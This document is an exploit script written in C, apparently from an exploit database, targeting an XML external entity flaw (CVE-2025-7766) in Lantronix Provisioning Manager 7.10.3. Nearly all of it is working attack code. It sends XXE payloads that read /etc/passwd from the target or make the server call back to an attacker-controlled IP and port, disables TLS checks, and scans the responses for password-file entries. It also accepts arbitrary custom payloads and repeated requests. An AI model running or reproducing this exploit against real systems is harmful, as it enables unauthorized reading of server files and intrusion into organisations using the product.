Lantronix Provisioning Manager 7.10.3 – XML External Entity Injection (XXE)
/* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #include<unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define FULL_URL 3000 #define SIZE_PAYLOAD 4000 const char *yourIp = NULL; const char *url = NULL ; int yourPort = 0; int selecetCookie = 0; int verbose = 0; int loop = 0; int selectPayload = 0; const char *yourPayload = NULL; char full[FULL_URL]; int requestPayload = 0; const char *cookies = NULL; void exitSyscall() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void xmlPost(const char *fullUrl, const char *yourIp, int yourPort) { char payload[SIZE_PAYLOAD]; struct Mem response = { NULL, 0 }; if (selectPayload) { int s = snprintf(payload,sizeof(payload),yourPayload); if (s < 0 || s >= sizeof(payload)) { printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n"); exitSyscall(); } } if (requestPayload) { printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n"); printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n"); const char *payloadR = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort); if (r < 0 || r >= sizeof(payload)) { printf("\e[1;31m[-] Error building payloadR\n"); exitSyscall(); } } else { printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n"); const char *autoPayload = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; snprintf(payload, sizeof(payload), autoPayload); } CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exitSyscall(); } response.buffer = NULL; response.len = 0; if (verbose) { printf("\e[1;35m==========================================\e[0m\n"); printf("[+] Cleaning Response...\n"); printf("[+] Response Buffer : %s\n", response.buffer); printf("[+] Response Len : %zu\n", response.len); printf("\e[1;35m==========================================\e[0m\n"); } CURLcode res; if (curl) { curl_easy_setopt(curl, CURLOPT_URL, fullUrl); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(payload)); if (selecetCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); sleep(1); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Referer: http://example.com"); headers =curl_slist_append(headers, "Content-Type: application/xml"); double totalTime; res = curl_easy_perform(curl); if (res == CURLE_OK) { curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime); printf("\e[1;32m[+] Delayed response : %f\n", totalTime ); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Full URl : %s\e[0m\n", full); if (verbose) { printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n"); printf("[+] Post data : %s\n", payload); printf("\e[1;35m-----------------------------------------------------------------\e[0m\n"); } long httpCode= 0 ; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n"); printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort); printf("[+] Http Code (200 < 300) !\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;35m====================================[Response]====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\e[0m\n\n"); const char *keywords[] = { "root:x:0:0", ":/bin/bash", ":/home/", "daemon:x:", "nobody:x:", ":x:1000:", "/usr/sbin/nologin", "sys:x:", "bin:x:", "mail:x:" }; printf("\e[1;34m[+] Check keyword On Response...\e[0m\n"); int numberKeyword = sizeof(keywords) / sizeof(keywords[0]); int found = 0; for (int f = 0; f < numberKeyword; f++) { if (strstr(response.buffer,keywords[f]) != NULL) { printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]); found = 1; } else { found = 0; } } if (found) { printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n"); } else { printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n"); } } else { printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl); if (verbose) { printf("\e[1;35m====================================[Response]====================================\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\n\n"); } } curl_slist_free_all(headers); curl_easy_cleanup(curl); } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); if (verbose) { printf("\e[1;31m[-] Exit Syscall ...\e[0m\n"); } curl_slist_free_all(headers); curl_easy_cleanup(curl); exitSyscall(); } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf ( "\e[1;91m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖\n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▙▌▙▌\n" "\e[1;97m\t Byte Reaper\e[0m\n" ); printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Target Url (full url)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_STRING('i', "ip", &yourIp, "Enter Your IP (Send Requst, Localhost ip...)"), OPT_INTEGER('p', "port", &yourPort, "Enter Number Port (Http Request,Check Vuln...)"), OPT_INTEGER('l', "loop", &loop, "Number of times you send requests"), OPT_STRING('b', "payload", &yourPayload, "Enter Your Payload"), OPT_BOOLEAN('r', "request", &requestPayload, "Payload Send Request in Your Server "), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url || !yourIp || yourPort == 0) { printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u https://ip:port/path -i IP -p PORT\e[0m\n"); printf("\e[1;31m[-] Exit syscall...\e[0m\n"); exitSyscall(); } strncpy(full, url, FULL_URL - 1); full[FULL_URL - 1] = '\0'; in_addr_t value = inet_addr(yourIp); if (value == INADDR_NONE) { printf("\e[1;31m[-] Invalid Ip String !\e[0m\n"); exitSyscall(); } if (yourPort < 1 || yourPort > 65535) { printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n"); exitSyscall(); } if (strncmp(full, "http://", 7) != 0 && strncmp(full, "https://", 8) != 0) { printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n"); exitSyscall(); } if (verbose) { verbose = 1; } if (cookies) { selecetCookie = 1; } if (requestPayload) { requestPayload = 1; } if (loop) { printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n"); printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop); printf("------------------------------------------------------\n"); for (int o = 0; o < loop ; o++) { printf("[%d]: \n", o); xmlPost(full, yourIp,yourPort); printf("------------------------------------------------------\n"); } } if (yourPayload) { selectPayload = 1; } else { xmlPost(full, yourIp,yourPort); } return 0; } |